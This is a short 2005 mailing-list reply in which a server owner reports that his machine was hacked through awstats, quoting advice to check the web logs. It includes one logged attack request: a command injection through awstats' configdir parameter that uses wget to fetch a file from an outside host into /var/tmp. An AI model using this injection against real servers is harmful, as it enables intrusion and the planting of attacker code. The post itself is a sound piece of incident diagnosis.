Re: Hacked...

[Aviram Carmi <avi-redhat otn com>]

Thanks,

it was awstats

200.175.36.178 - - [05/Mar/2005:19:48:35 -0800] "GET 
/awstats//awstats.pl?configdir=|echo%20;echo%20__comeco__;%20cd%20/var/tmp;%20%20wget%20http://paginas.terra.com.br/informatica/swcrew/r0nin%20;echo%20__fim__;echo%20| 
HTTP/1.1" 200 598 "-" "-"

-avi

At 00:37 -0600 03/09/2005, Thomas Cameron wrote:
>  Look in /var/log/http/*.  I am betting that there is something in one of the
>  logs (probably error_log) that will catch your eye.
>
>  You're running something PHP-ish, aren;t you?  Or maybe awstats?
>
>  Thomas
>  --
>  nahant-list mailing list
>  nahant-list redhat com
>  http://www.redhat.com/mailman/listinfo/nahant-list


--

Aviram Carmi
Owner
Executive Vice President, Technology

Over TheNet (R)
601 Daily Drive Suite #226                                 
Camarillo, CA 93010-5840

http://www.otn.com/   Building Profitable Web Sites Today
(805) 384-1144 Voice  (805) 384-9111 FAX

(C) Copyright 2004, Over TheNet (R)  All rights reserved.